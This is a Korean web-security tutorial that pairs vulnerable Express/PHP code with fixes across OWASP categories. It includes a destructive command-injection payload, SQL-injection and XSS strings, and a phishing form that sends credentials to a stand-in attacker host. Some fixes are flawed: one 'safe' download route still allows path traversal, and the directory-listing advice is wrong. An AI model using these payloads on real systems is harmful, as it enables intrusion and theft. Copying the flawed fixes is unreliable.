보안
보안 취약점 점검
기본적인 보안 취약점검
보안을 powerful 하게 하는게 능사는 아닙니다. 모든 것에는 장단점이 따르기 마련입니다. 보안이 강력한 만큼 사용자입장에서는 불편해 질 수 있어요. 예를들어 CSRF 공격을 차단하기 위해서 SameSite 쿠키 속성을 strict 로 하면 보안이 강력해집니다. 동일 사이트에서만 쿠키가 공유되니깐요.
하지만 사용자가 이메일 링크를 클릭해서 사이트를 방문하면 세션 쿠키가 SameSite = strict 설정으로 인해 전송되지 않아 로그인이 풀릴 수 있습니다. 로그인 했는데 다시 로그인이 풀려서 재로그인 하라고 하면 짜증나서 페이지 나가지 않을까요?
이러한 번거로움이 사용자를 귀찮게 해서 실제 사용률을 떨어뜨리게 할 수 있다는 겁니다. 결론적으로 이러한 사실을 인지하고 있으면 상황에 맞게 적용을 할지 말지를 의사결정할 수 있습니다.
첨언하자면 보안도 깊게 공부하면 양이 굉장히 방대합니다. 저도 그많은 내용을 머릿속에서 다 기억하고 살진 못해요. 인간이 망각의 동물이라 일주일만 지나도 저번주 주말 저녁에 뭐 먹었는지 기억도 못하는 동물이에요. 웹에서 기본적으로 고려해야 할 사항 정도 공유하겠습니다. 열심히 공부해봅시다.
OWASP TOP10(소프트웨어 보안 강화를 위한 가장 유명한 국제 비영리 단체 회사)의 기준을 따릅니다.
- Broken Access Control : 접근 제어가 제대로 적용되지 않아 권한이 없는 사용자가 데이터에 접근 가능
- Cryptographic Failures : 데이터 암호화 실패로 인해 정보가 노출됨
- Injection : SQL, XSS 등의 인젝션 공격이 가능함
- Insecure Design : 보안이 고려되지 않은 애플리케이션 설계
- Security Misconfiguration : 잘못된 보안 설정으로 인한 취약점 발생
- Vulnerable and Outdated Components : 오래된 라이브러리, 프레임워크 사용으로 인한 취약점
- Identification and Authentication Failures : 취약한 인증 시스템 (예: 비밀번호 유출)
- Software and Data Integrity Failures : 코드 및 데이터 무결성 검증 부족
- Security Logging and Monitoring Failures : 보안 로그 미흡으로 인해 침입 탐지가 어려움
- Server-Side Request Forgery (SSRF) : 서버가 외부 요청을 보내도록 조작할 수 있음
1. 시스템 장악
1-1. 명령 실행 운영체제
시스템 장악 및 명령 실행 취약점은 공격자가 시스템에 악성 명령을 실행할 수 있는 보안 취약점을 의미합니다. 이는 주로 명령어 삽입(Command Injection) 또는 코드 인젝션을 통해 발생하며, 제대로 검증되지 않은 입력을 운영체제 명령어로 실행하는 경우에 주로 나타납니다.
아래는 관련 이론과 함께 간단한 소스코드 예시를 설명하겠습니다.
- 명령어 삽입(Command Injection) 운영체제 명령을 실행하는 프로그램이나 스크립트에서, 사용자 입력값이 명령어로 전달될 때 제대로 검증되지 않으면 공격자가 악의적인 명령을 삽입할 수 있습니다.
취약점 공격 예시 코드
const express = require('express')
const app = express()
const { exec } = require('child_process')
app.get('/ping', (req, res) => {
const ip = req.query.ip
// 취약점: 사용자 입력을 직접 shell 명령에 포함
exec(`ping -c 4 ${ip}`, (error, stdout, stderr) => {
if (error) {
res.status(500).send(`Error: ${error.message}`)
return
}
res.send(`Ping Result: ${stdout}`)
})
})
app.listen(3000, () => console.log('Server running on port 3000'))
취약점 설명
사용자가 ip 파라미터에 127.0.0.1 && rm -rf /와 같은 명령을 삽입하면, 시스템이 해당 명령을 실행하여 심각한 피해를 줄 수 있습니다. exec() 함수는 쉘 명령을 실행하기 때문에 입력값에 명령어를 삽입할 가능성을 열어둡니다.
공격 시나리오
curl "http://localhost:3000/ping?ip=127.0.0.1;ls"
이 경우 ping 명령이 실행된 후 ls 명령이 실행됩니다.
- 방어 방법
- 입력값 검증
사용자의 입력값을 철저히 검증하고, 예상치 못한 명령어 또는 특수 문자를 차단합니다. 정규식을 사용하거나 화이트리스트 방식을 활용합니다.
- 파라미터화된 명령 사용
명령어를 실행할 때, 직접 문자열로 연결하지 않고 안전한 API를 사용합니다.
수정된 코드 예시
const express = require('express')
const app = express()
const { spawn } = require('child_process')
app.get('/ping', (req, res) => {
const ip = req.query.ip
// 입력값 검증 (IP 주소 패턴만 허용)
if (!/^\d{1,3}(\.\d{1,3}){3}$/.test(ip)) {
res.status(400).send('Invalid IP address format')
return
}
// 안전한 방식으로 명령 실행
const ping = spawn('ping', ['-c', '4', ip])
let output = ''
ping.stdout.on('data', (data) => {
output += data.toString()
})
ping.stderr.on('data', (data) => {
res.status(500).send(`Error: ${data.toString()}`)
})
ping.on('close', () => {
res.send(`Ping Result: ${output}`)
})
})
app.listen(3000, () => console.log('Server running on port 3000'))
- 수정된 코드의 특징
- 입력값 검증: IP 주소만 허용하는 정규식을 사용하여 입력값 검증.
- spawn 사용: 명령어와 인수를 분리하여 쉘 명령어 삽입 위험을 제거.
1-2. 파일 업로드
파일 업로드 보안은 애플리케이션에서 사용자가 업로드한 파일을 안전하게 처리하기 위한 기술과 정책을 의미합니다. 잘못된 파일 처리로 인해 다음과 같은 보안 문제가 발생할 수 있습니다:
- 악성 코드 실행: 업로드된 파일이 실행 가능한 악성 코드로 처리될 수 있음.
- 디렉토리 트래버설(Directory Traversal): 공격자가 파일 경로를 조작하여 서버의 민감한 파일에 접근.
- 파일 덮어쓰기: 기존 중요한 파일이 업로드된 파일로 덮어씌워질 가능성.
- 서비스 거부(DoS): 대용량 파일 업로드로 서버 과부하.
아래에서 파일 업로드 관련 보안 이론과 함께 취약한 예제 및 수정된 예제 기술하겠습니다.
취약한 코드 예시
const express = require('express');
const fileUpload = require('express-fileupload');
const path = require('path');
const app = express();
app.use(fileUpload());
app.post('/upload', (req, res) => {
if (!req.files || Object.keys(req.files).length === 0) {
return res.status(400).send('No files were uploaded.');
}
const file = req.files.uploadedFile;
// 취약점: 파일 이름과 경로를 검증하지 않고 그대로 저장
const uploadPath = path.join(__dirname, 'uploads', file.name);
file.mv(uploadPath, (err) => {
if (err) return res.status(500).send(err);
res.send('File uploaded!');
});
});
app.listen(3000, () => console.log('Server running on port 3000'));
- 취약점
- 파일 이름 검증 없음: 사용자가 .exe, .php, .js 등의 악성 파일을 업로드할 수 있음.
- 디렉토리 트래버설 가능: 파일 이름에 ../../를 포함하면 서버의 민감한 디렉토리에 파일을 업로드 가능.
- 확장자 검증 없음: 허용되지 않은 파일 형식도 업로드 가능.
- 방어 방법
- 허용된 확장자 제한 특정 확장자만 허용하여 위험한 파일 형식(.exe, .php, .js)을 차단.
- 파일 이름 검증 파일 이름을 고유한 값(예: UUID)으로 변경하거나 특정 패턴을 강제.
- 업로드 디렉토리 접근 제한 업로드된 파일이 실행되지 않도록 웹 서버 설정에서 업로드 디렉토리의 실행 권한 제거.
- 파일 크기 제한 최대 업로드 크기를 설정하여 서비스 거부 공격 방지.
수정된 코드 예시
const express = require('express');
const fileUpload = require('express-fileupload');
const path = require('path');
const crypto = require('crypto');
const app = express();
app.use(fileUpload({
limits: { fileSize: 2 _ 1024 _ 1024 }, // 최대 파일 크기: 2MB
}));
app.post('/upload', (req, res) => {
if (!req.files || Object.keys(req.files).length === 0) {
return res.status(400).send('No files were uploaded.');
}
const file = req.files.uploadedFile;
// 허용된 확장자 확인
const allowedExtensions = ['.png', '.jpg', '.jpeg', '.gif'];
const ext = path.extname(file.name).toLowerCase();
if (!allowedExtensions.includes(ext)) {
return res.status(400).send('Invalid file type.');
}
// 파일 이름을 고유값으로 변경
const uniqueName = crypto.randomUUID() + ext;
// 업로드 디렉토리에 파일 저장
const uploadPath = path.join(__dirname, 'uploads', uniqueName);
file.mv(uploadPath, (err) => {
if (err) return res.status(500).send(err);
res.send('File uploaded successfully!');
});
});
app.listen(3000, () => console.log('Server running on port 3000'));
- 수정된 코드의 특징
- 확장자 검증: 허용된 파일 형식만 처리.
- 고유 파일 이름: 파일 이름 충돌 방지 및 파일 탐색 어려움.
- 파일 크기 제한: 최대 크기 설정으로 DoS 공격 방지.
1-3. 파일 SQL 인젝션
SQL 인젝션 공격의 정의와 이론
SQL 인젝션은 주로 웹 애플리케이션이 사용자의 입력을 SQL 쿼리문에 직접 삽입하는 과정에서 발생합니다. 사용자가 입력한 값이 검증 없이 SQL 쿼리에 포함되면, 악성 코드가 삽입되어 데이터베이스에 대한 원치 않는 작업이 실행될 수 있습니다.SQL 인젝션이 발생하는 원리
사용자가 입력한 값이 SQL 쿼리문에 포함된다. 이 값이 적절하게 필터링 또는 이스케이프 처리되지 않으면, 악성 SQL 코드가 삽입된다. SQL 쿼리가 데이터베이스에서 실행되면서 공격자가 원하는 대로 동작한다.일반적인 공격 방법 로그인 우회: 사용자가 로그인 페이지에서 username과 password를 입력할 때, 악성 SQL 코드를 삽입하여 인증을 우회할 수 있습니다. 데이터 조회 및 변경: 공격자가 특정 쿼리를 삽입하여 데이터베이스의 모든 데이터를 조회하거나 삭제할 수 있습니다.
SQL 인젝션 공격의 구체적인 예시
다음은 사용자가 로그인할 때 아이디와 비밀번호를 SELECT 쿼리에 삽입하는 취약한 예시입니다.
<!-- 로그인 폼 -->
<form id="loginForm">
Username: <input type="text" id="username" /><br />
Password: <input type="password" id="password" /><br />
<button type="submit">Login</button>
</form>
<script>
// 로그인 폼을 처리하는 JavaScript 코드 (취약한 예시)
document.getElementById('loginForm').onsubmit = function (event) {
event.preventDefault() // 폼 제출 방지
var username = document.getElementById('username').value
var password = document.getElementById('password').value
// SQL 쿼리 작성
var query =
"SELECT * FROM users WHERE username = '" +
username +
"' AND password = '" +
password +
"'"
console.log(query) // 실제 SQL 쿼리를 콘솔에 출력 (이렇게 작성하면 보안 취약점 발생)
// 여기에 AJAX 요청으로 서버에 전달하는 코드가 있을 것
}
</script>
위 코드에서 사용자가 username과 password를 입력하면, 이 값들이 SQL 쿼리문에 직접 삽입됩니다. 이 방식은 SQL 인젝션 공격에 취약합니다. 예를 들어, 사용자가 username에 admin을 입력하고 password에 ' OR '1'='1을 입력하면, 최종 쿼리는 다음과 같습니다:
이 쿼리는 항상 TRUE가 되어, 공격자는 인증을 우회하고 로그인할 수 있습니다.
SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'='1';
- 공격 예시 1:
- 아이디: admin
- 비밀번호: '' OR '1'='1'
'' OR '1'='1' 은 항상 참이므로, 조건이 성립하고 사용자가 admin 아이디로 로그인하게 됩니다. 이렇게 공격자는 관리자 계정에 접근할 수 있습니다.
SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'='1';
- 예시 2: 데이터 조회 공격 만약 웹 애플리케이션이 사용자에게 특정 정보를 보여주는 쿼리를 실행하는데, 그 쿼리가 제대로 필터링되지 않은 경우에도 SQL 인젝션이 발생할 수 있습니다. 예를 들어, 사용자가 id를 입력받아 데이터를 조회한다고 가정해 봅시다.
<!-- 사용자 정보 조회 폼 -->
<form id="dataForm">
ID: <input type="text" id="userId" /><br />
<button type="submit">Fetch Data</button>
</form>
<script>
// 사용자 정보 조회 폼 처리 (취약한 예시)
document.getElementById('dataForm').onsubmit = function (event) {
event.preventDefault()
var userId = document.getElementById('userId').value
// SQL 쿼리 생성
var query = "SELECT * FROM users WHERE id = '" + userId + "'"
console.log(query) // 실제 쿼리를 콘솔에 출력
}
</script>
여기서 사용자가 userId에 악의적인 입력을 하면, SQL 인젝션 공격이 발생할 수 있습니다. 예를 들어, 사용자가 userId에 '1' OR 1=1을 입력한다고 가정해 봅시다:
아래 쿼리는 항상 참이므로, 모든 사용자 데이터를 조회하게 됩니다. 이와 같은 공격을 통해 공격자는 데이터베이스에서 모든 정보를 조회할 수 있게 됩니다.
SELECT * FROM users WHERE id = '1' OR 1=1;
- SQL 인젝션 방지 방법
- Prepared Statements는 SQL 쿼리와 사용자 입력을 분리하여 SQL 인젝션을 방지하는 방법입니다. 이는 사용자 입력을 파라미터로 안전하게 전달하기 때문에, 쿼리가 실행될 때 악성 SQL 코드가 실행되지 않습니다.
Node.js에서 mysql 모듈을 사용한 예시입니다:
const mysql = require('mysql')
const connection = mysql.createConnection({
host: 'localhost',
user: 'root',
password: '',
database: 'mydb',
})
connection.connect()
// 사용자 입력값 (예시)
let username = 'admin'
let password = 'password123'
// Prepared Statement 사용
let query = 'SELECT * FROM users WHERE username = ? AND password = ?'
connection.query(query, [username, password], function (err, results, fields) {
if (err) throw err
if (results.length > 0) {
console.log('로그인 성공!')
} else {
console.log('로그인 실패')
}
})
connection.end()
위 코드에서 ?는 파라미터 자리에 값이 안전하게 바인딩되므로, SQL 인젝션 공격을 방지할 수 있습니다.
- 입력값 검증
서버 측에서 사용자 입력값을 철저히 검증하고, 예상된 데이터 형식만을 허용하는 방법입니다. 예를 들어, 아이디는 알파벳과 숫자만 허용하고, 비밀번호는 특정 조건을 만족하도록 검사할 수 있습니다.
// 입력값 검증 함수 (알파벳과 숫자만 허용)
function validateInput(input) {
const regex = /^[a-zA-Z0-9]+$/ // 알파벳과 숫자만 허용
return regex.test(input)
}
// 사용자가 입력한 아이디와 비밀번호 검증
let username = document.getElementById('username').value
let password = document.getElementById('password').value
if (!validateInput(username) || !validateInput(password)) {
alert('유효하지 않은 입력값입니다.')
event.preventDefault() // 폼 제출 방지
} else {
// 입력값이 유효하면 서버로 요청 전송
}
- 결론 SQL 인젝션 공격은 사용자가 입력한 값을 SQL 쿼리에 직접 삽입하는 취약점에서 발생합니다. 이 공격을 방지하려면 Prepared Statements와 입력값 검증을 사용하여, 사용자의 입력을 안전하게 처리하는 것이 중요합니다. JavaScript는 주로 클라이언트 측에서 사용자의 입력을 검증하는 역할을 하며, 서버 측에서는 반드시 SQL 인젝션 방어를 위한 추가적인 보안 조치를 취해야 합니다.
2. private 정보 노출
2-1. 정보노출
- 민감 데이터 노출
- 민감 정보(API 키, 비밀번호 등)가 로그, 디버그 메시지, 브라우저 네트워크 탭에서 노출.
- 취약한 암호화 방식(MD5, SHA1)으로 저장된 데이터가 노출.
- 소스 코드 및 구성 정보 노출
- .env, config 파일, 또는 소스 코드 저장소(GitHub)에 민감한 정보가 포함된 경우.
- 디렉토리 인덱싱 및 잘못된 권한 설정
- 웹 서버의 디렉토리가 노출되어 내부 파일이나 경로가 공개.
- 캐시된 응답 데이터 노출
- 브라우저 캐시 또는 프록시 서버에서 민감 데이터를 캐시.
- 민감 정보 보호 (환경 변수 사용) 문제: 소스 코드에 직접 API 키를 포함하는 경우.
// 민감 데이터 노출 (취약한 코드)
const API_KEY = '12345-abcde-SECRET'
fetch(`https://api.example.com/data?apiKey=${API_KEY}`)
해결 방법: 환경 변수 파일(.env) 사용.
// .env 파일
API_KEY = 12345 - abcde - SECRET
// Node.js 코드
require('dotenv').config()
const API_KEY = process.env.API_KEY
fetch(`https://api.example.com/data?apiKey=${API_KEY}`)
- 암호화된 데이터 저장
문제: 사용자 비밀번호를 평문으로 저장.
// 사용자 비밀번호를 입력받고 평문으로 저장하는 코드
const userPassword = prompt('Enter your password: ')
saveToDb(userPassword) // 비밀번호를 평문으로 데이터베이스에 저장
- 해결방법 소스코드
// bcryptjs 모듈을 사용하여 비밀번호를 안전하게 해싱
const bcrypt = require('bcryptjs')
// 비밀번호를 입력받고 해싱 후 저장
async function savePassword(password) {
try {
// 비밀번호를 해시하기 위한 saltRounds 설정 (일반적으로 10)
const hashedPassword = await bcrypt.hash(password, 10)
saveToDb(hashedPassword)
} catch (err) {
console.error('Error hashing password:', err)
}
}
// 비밀번호 입력 받기 (웹 환경에서 prompt나 HTML form을 사용할 수 있음)
const userPassword = prompt('Enter password: ')
savePassword(userPassword)
설명
bcrypt.hash(password, 10): 주어진 비밀번호를 bcrypt를 사용해 해시합니다. 10은 salt rounds로, 이 값이 클수록 계산이 오래 걸리지만 보안이 강화됩니다.
saveToDb(hashedPassword): 해시된 비밀번호를 데이터베이스에 저장하는 부분입니다. 실제 데이터베이스 연동 코드는 환경에 맞게 작성해야 합니다.
async와 await을 사용하여 비동기적으로 해시를 계산합니다. 비밀번호 해시 계산은 시간이 걸리므로 비동기 처리가 필요합니다.
- HTTP 헤더로 민감 데이터 보호 문제: 응답 데이터가 캐시되거나 중간에서 탈취.
// 취약한 HTTP 응답
res.send(data)
- 해결 방법: 민감 데이터가 포함된 응답에 보안 헤더 추가.
// Express.js 코드 (보안 헤더 적용)
const helmet = require('helmet')
app.use(helmet())
res.setHeader('Cache-Control', 'no-store')
res.setHeader('Content-Security-Policy', "default-src 'self'")
res.send(data)
- 디렉토리 노출 방지
디렉토리 노출 방지 기능을 Express.js에서 구현하려면, 서버가 디렉토리 목록을 외부에 노출하지 않도록 설정해야 합니다. 기본적으로 Express.js는 디렉토리 인덱싱을 활성화하지 않지만, 실수로 디렉토리 인덱싱이 활성화되는 경우가 있을 수 있습니다. 이를 방지하려면 Options -Indexes와 같은 설정을 통해 디렉토리 목록을 숨길 수 있습니다.
디렉토리 노출 방지 방법 Express.js 기본 설정에서 디렉토리 인덱싱 방지 Express는 기본적으로 디렉토리 인덱싱을 허용하지 않지만, 만약 express.static을 사용하여 정적 파일을 제공하고 있는 경우, 디렉토리 인덱싱이 활성화될 수 있습니다. 이를 방지하기 위해서는 index 옵션을 설정하여 디렉토리 인덱싱을 비활성화해야 합니다.
const express = require('express')
const path = require('path')
const app = express()
// 정적 파일 제공 시 디렉토리 인덱싱을 방지
app.use(express.static(path.join(__dirname, 'public'), { index: false }))
// 라우팅 설정
app.get('/', (req, res) => {
res.send('Hello, world!')
})
app.listen(3000, () => {
console.log('Server is running on http://localhost:3000')
})
위 코드에서는 express.static()을 사용할 때 { index: false } 옵션을 설정하여 디렉토리 인덱싱을 방지합니다. 이 설정이 없으면, 정적 파일 경로에 대해 index.html 또는 다른 인덱스 파일을 자동으로 제공하려고 할 수 있습니다.
.htaccess 파일을 사용하여 Apache에서 디렉토리 인덱싱 방지 (Express가 Apache와 함께 사용되는 경우) Express는 기본적으로 Apache나 Nginx와 같은 웹 서버 위에서 동작할 수 있습니다. 이 경우, Apache 서버에서 디렉토리 인덱싱을 비활성화하려면 .htaccess 파일에 Options -Indexes를 추가해야 합니다.
# .htaccess 파일에 추가
Options -Indexes
이렇게 하면 웹 서버가 디렉토리 목록을 외부에 노출하지 않도록 합니다.
디렉토리 보호를 위한 추가 보안 설정
디렉토리 인덱싱을 방지하는 것 외에도, 다른 보안 취약점을 방지하기 위해 Express.js에서 다음과 같은 추가 보안 설정을 적용할 수 있습니다.
Helmet 사용: HTTP 헤더를 안전하게 설정하여 보안을 강화합니다.
const helmet = require('helmet')
app.use(helmet())
- 파일 접근 제한: 특정 디렉토리로의 접근을 제한할 수 있습니다.
app.use('/uploads', (req, res, next) => {
// 특정 조건에 따라 접근을 제한할 수 있습니다.
res.status(403).send('Access Forbidden')
})
path.join을 사용하여 경로 보호: 경로 조작을 방지하려면 path.join()을 사용하여 경로를 안전하게 처리합니다.
결론 Express.js에서 디렉토리 인덱싱을 방지하는 방법은 주로 express.static의 index 옵션을 사용하여 구현할 수 있습니다. 추가적으로 Apache나 Nginx와 같은 웹 서버와 함께 사용할 때는 .htaccess 파일이나 서버의 설정을 통해 디렉토리 인덱싱을 비활성화할 수 있습니다. 이러한 보안 조치를 통해 애플리케이션의 디렉토리 정보를 외부에 노출하지 않도록 할 수 있습니다.
2-3. 파일 다운로드
파일 다운로드 기능은 사용자에게 데이터를 제공하는 중요한 기능이지만, 보안을 고려하지 않으면 데이터 유출, 악성 파일 전달, 권한 없는 접근 등의 문제가 발생할 수 있습니다. 아래에 보안 이론과 예제 코드를 함께 설명하겠습니다.
- 파일 다운로드 보안 이론
경로 탐색 공격(Path Traversal) 방지 사용자가 파일 경로를 조작해 권한이 없는 파일을 다운로드할 수 없도록 해야 합니다. 입력된 경로를 검증하고, 절대 경로가 아닌 서버에서 허용된 디렉토리만 접근 가능하도록 설정해야 합니다.
인증 및 권한 검증 다운로드 요청을 보낸 사용자가 파일을 다운로드할 권한이 있는지 확인해야 합니다. 파일별로 접근 가능한 사용자나 그룹을 지정하는 방식이 필요합니다.
파일 형식 검증 악성 파일 다운로드를 방지하기 위해 서버에 저장된 파일 형식을 검증해야 합니다. 다운로드 파일의 MIME 타입과 확장자를 확인합니다.
HTTPS 사용 다운로드 데이터를 암호화하기 위해 반드시 HTTPS를 사용해야 합니다. 암호화되지 않은 연결은 중간자 공격에 취약합니다.
Rate Limiting 및 로깅 다운로드 요청의 빈도를 제한하여 악의적인 다운로드를 방지합니다. 모든 다운로드 요청을 로깅하여 비정상적인 활동을 추적할 수 있어야 합니다.
파일명 조작 방지 사용자 입력으로부터 파일명을 직접 조합하면, 경로 조작 공격에 취약할 수 있습니다. 서버에 저장된 파일의 고유 식별자를 통해 파일을 참조합니다. 소스코드 예제: 안전한 파일 다운로드 아래는 Node.js(Express)로 파일 다운로드를 구현한 예제입니다. 주요 보안 기능을 포함합니다.
- 디렉토리 설정 및 허용된 파일 관리
const express = require('express')
const path = require('path')
const fs = require('fs')
const app = express()
const PORT = 3000
// 허용된 파일이 저장된 디렉토리 (절대 경로로 지정)
const ALLOWED_DIR = path.join(__dirname, 'downloads')
// 허용된 파일 목록
const allowedFiles = {
report1: 'report1.pdf',
report2: 'report2.pdf',
}
- 파일 다운로드 라우트
app.get('/download/:fileId', (req, res) => {
const fileId = req.params.fileId
// 파일 ID 검증
if (!allowedFiles[fileId]) {
return res.status(404).send('File not found')
}
// 파일 경로 생성
const filePath = path.join(ALLOWED_DIR, allowedFiles[fileId])
// 파일 존재 여부 확인
if (!fs.existsSync(filePath)) {
return res.status(404).send('File not found')
}
// 파일 다운로드 처리
res.download(filePath, allowedFiles[fileId], (err) => {
if (err) {
console.error('Error during file download:', err)
res.status(500).send('Error downloading the file')
}
})
})
- 보안 미들웨어 추가
// HTTPS 강제 적용 (실제 배포 시 필요)
app.use((req, res, next) => {
if (!req.secure && process.env.NODE_ENV === 'production') {
return res.redirect(`https://${req.headers.host}${req.url}`)
}
next()
})
// 요청 로깅
app.use((req, res, next) => {
console.log(`[${new Date().toISOString()}] ${req.method} ${req.url}`)
next()
})
// 요청 크기 제한
app.use(express.json({ limit: '10kb' }))
app.use(express.urlencoded({ limit: '10kb', extended: true }))
- 보안 기능 요약
- 허용된 디렉토리 및 파일 제한:
ALLOWED_DIR를 통해 접근 가능한 디렉토리를 제한합니다. allowedFiles로 다운로드 가능한 파일 ID와 실제 파일명을 매핑하여 관리합니다.
- 파일 경로 검증:
사용자가 ../ 같은 경로 조작을 시도해도 path.join과 디렉토리 제한으로 방어합니다.
- 파일 존재 확인:
다운로드 전에 fs.existsSync로 파일이 실제 존재하는지 확인합니다.
- HTTPS 적용:
req.secure를 확인해 HTTPS가 아닌 요청을 HTTPS로 리다이렉트합니다.
- 요청 로깅 및 제한:
모든 요청을 로깅하며, 요청 크기를 제한합니다.
2-4. 데이터 평문전송, 악성코드 감염 및 전파
데이터 평문 전송 관련 보안 이론
위협 요소
- 중간자 공격(Man-in-the-Middle, MITM)
- 데이터가 네트워크를 통해 전송될 때 공격자가 이를 가로채거나 수정하는 공격.
- 평문(암호화되지 않은 데이터) 전송 시 민감한 정보(비밀번호, 신용카드 번호 등)가 노출될 위험이 있음.
- 스니핑(Sniffing)
공격자가 네트워크 트래픽을 감청하여 민감한 정보를 수집하는 행위.
예방 대책
- TLS/SSL 사용
HTTPS를 통해 전송 데이터를 암호화. 서버와 클라이언트 간 암호화 채널을 설정하여 평문 노출 방지.
- HSTS(HTTP Strict Transport Security)
클라이언트가 항상 HTTPS로 통신하도록 강제.
- 인증 및 권한 관리
민감한 데이터를 전송하기 전에 인증된 사용자만 접근할 수 있도록 설정.
악성코드 감염 및 전파 관련 보안 이론
위협 요소
- 파일 업로드를 통한 악성코드 전파
- 공격자가 악성코드를 포함한 파일을 업로드하여 서버나 다른 클라이언트를 감염.
- 다운로드를 통한 악성코드 전파
- 공격자가 클라이언트가 다운로드하는 파일에 악성코드를 삽입.
- 스크립트 주입 공격(XSS)
공격자가 악성 스크립트를 웹 애플리케이션에 삽입하여 클라이언트 측에서 실행.
예방 대책
- 파일 업로드 검증
- 업로드 파일의 확장자, MIME 타입, 크기 등을 검증.
- 악성 파일 탐지를 위해 바이러스 스캔 소프트웨어 통합.
- 콘텐츠 보안 정책(CSP)
- 브라우저가 신뢰할 수 없는 스크립트를 실행하지 않도록 설정.
- 서버 응답 필터링
사용자 입력을 적절히 검증하고 HTML 엔티티를 인코딩.
소스코드 예제
- 데이터 평문 전송 방지: HTTPS 설정
아래는 Express.js 서버에서 HTTPS를 설정하는 코드입니다.
const fs = require('fs')
const https = require('https')
const express = require('express')
const app = express()
// SSL 인증서와 키 파일 로드
const privateKey = fs.readFileSync('key.pem', 'utf8')
const certificate = fs.readFileSync('cert.pem', 'utf8')
const credentials = { key: privateKey, cert: certificate }
// 간단한 라우트
app.get('/', (req, res) => {
res.send('Secure connection over HTTPS')
})
// HTTPS 서버 실행
const httpsServer = https.createServer(credentials, app)
httpsServer.listen(443, () => {
console.log('HTTPS Server running on port 443')
})
- 악성코드 감염 방지: 파일 업로드 검증
파일 업로드 시 보안 검증을 추가하는 예제입니다.
const express = require('express')
const multer = require('multer')
const path = require('path')
const fs = require('fs')
const app = express()
const upload = multer({
dest: 'uploads/', // 업로드 폴더
fileFilter: (req, file, cb) => {
const allowedExtensions = ['.png', '.jpg', '.jpeg', '.pdf']
const fileExtension = path.extname(file.originalname).toLowerCase()
if (!allowedExtensions.includes(fileExtension)) {
return cb(new Error('Invalid file type'))
}
cb(null, true)
},
limits: { fileSize: 5 * 1024 * 1024 }, // 파일 크기 제한 (5MB)
})
// 파일 업로드 라우트
app.post('/upload', upload.single('file'), (req, res) => {
if (!req.file) {
return res.status(400).send('No file uploaded')
}
res.send('File uploaded successfully')
})
// 에러 핸들러
app.use((err, req, res, next) => {
res.status(400).send(err.message)
})
// 서버 실행
app.listen(3000, () => {
console.log('Server running on port 3000')
})
- 악성코드 감염 방지: 다운로드 시 MIME 타입 설정 다운로드 시 파일의 MIME 타입을 명확히 지정하고, 위험한 파일 형식을 차단합니다.
파일 다운로드 예제
const express = require('express')
const path = require('path')
const app = express()
// 허용된 파일 확장자
const allowedExtensions = ['.png', '.jpg', '.pdf']
app.get('/download/:fileName', (req, res) => {
const fileName = req.params.fileName
const filePath = path.join(__dirname, 'downloads', fileName)
const fileExtension = path.extname(fileName).toLowerCase()
// 파일 검증
if (!allowedExtensions.includes(fileExtension)) {
return res.status(403).send('Forbidden file type')
}
// 파일 다운로드
res.download(filePath, fileName, (err) => {
if (err) {
console.error('Download error:', err)
res.status(500).send('Error downloading file')
}
})
})
// 서버 실행
app.listen(3000, () => {
console.log('Server running on port 3000')
})
- 결론 위 코드는 데이터 평문 전송과 악성코드 감염 및 전파를 방지하기 위한 기초적인 보안 기능을 포함합니다. 실무에서는 이를 강화하기 위해 다음을 고려해야 합니다:
- 바이러스 탐지 소프트웨어 통합
- 정기적인 보안 패치 적용
- 네트워크 보안 도구(Firewall, IDS/IPS) 활용
- 사용자 권한과 인증 체계 강화
3. 사용자 계정탈취
3-1. 악성콘텐츠
악성 콘텐츠는 사용자가 웹사이트나 애플리케이션을 사용할 때, 시스템에 악성 코드나 스크립트를 실행시키도록 유도하는 콘텐츠입니다. 주로 피싱 사이트나 악성 파일 다운로드 링크를 통해 이루어집니다. 예시: 이메일에 악성 링크를 포함하거나, 웹사이트에 악성 JavaScript를 삽입.
소스코드 예시 (피싱 사이트) 다음은 피싱 로그인 페이지 예시입니다. 사용자가 정보를 입력하면 공격자 서버로 전송됩니다.
<!-- 악성 피싱 로그인 폼 -->
<!doctype html>
<html>
<body>
<h2>로그인</h2>
<form action="http://malicious-website.com/steal-info" method="POST">
아이디: <input type="text" name="username" /><br />
비밀번호: <input type="password" name="password" /><br />
<input type="submit" value="로그인" />
</form>
</body>
</html>
대응 방안
링크 검증: 신뢰할 수 없는 링크 클릭 제한.
콘텐츠 보안 정책 (CSP) 적용.
URL 검사 및 필터링을 통해 악성 콘텐츠 차단.
3-2. 크로스 사이트 스크립트(XSS)
XSS는 웹 애플리케이션에서 사용자 입력값을 검증하지 않아 공격자가 악성 스크립트를 삽입하고 실행시키는 취약점입니다. 주로 쿠키 탈취나 피싱 공격에 사용됩니다. 소스코드 예시 (XSS 취약한 코드)
<!doctype html>
<html>
<body>
<h2>게시판</h2>
<form method="GET">
댓글 입력: <input type="text" name="comment" />
<input type="submit" />
</form>
<div>
<!-- 입력값 검증 없이 출력 -->
<p>입력된 댓글: <?php echo $_GET['comment']; ?></p>
</div>
</body>
</html>
공격 예시
<script>alert('XSS 성공!');</script>
입력 필드에 위와 같은 스크립트를 삽입하면 브라우저에서 JavaScript가 실행됩니다.
대응 방안
사용자 입력값 검증 및 이스케이프 처리. PHP: htmlspecialchars() 사용. Content Security Policy (CSP) 설정. XSS 방어 라이브러리 사용 (예: DOMPurify).
3-3. 약한 문자열 강도
이론 비밀번호의 복잡도가 낮거나 길이가 짧으면 브루트포스 공격 또는 사전 공격에 취약합니다. 약한 비밀번호 예시: "123456", "password", "qwerty".
소스코드 예시 (비밀번호 검증 없이 저장)
const users = []
function registerUser(username, password) {
users.push({ username, password }) // 비밀번호 강도 체크 없음
console.log('등록된 사용자:', users)
}
registerUser('user1', '1234')
개선된 코드: 비밀번호 강도 검사 추가
function isStrongPassword(password) {
const regex =
/^(?=.*[a-z])(?=.*[A-Z])(?=.*\d)(?=.*[@$!%*?&])[A-Za-z\d@$!%*?&]{8,}$/
return regex.test(password)
}
function registerUser(username, password) {
if (!isStrongPassword(password)) {
console.log('비밀번호가 너무 약합니다.')
return
}
console.log('등록 성공:', { username, password })
}
registerUser('user1', 'P@ssw0rd!')
대응 방안
- 비밀번호 정책 강화: 대문자, 숫자, 특수문자 포함.
- 최소 길이 제한 (예: 8자 이상).
- 비밀번호 검증 라이브러리 활용 (예: zxcvbn).
3-4. 취약한 패스워드 복구
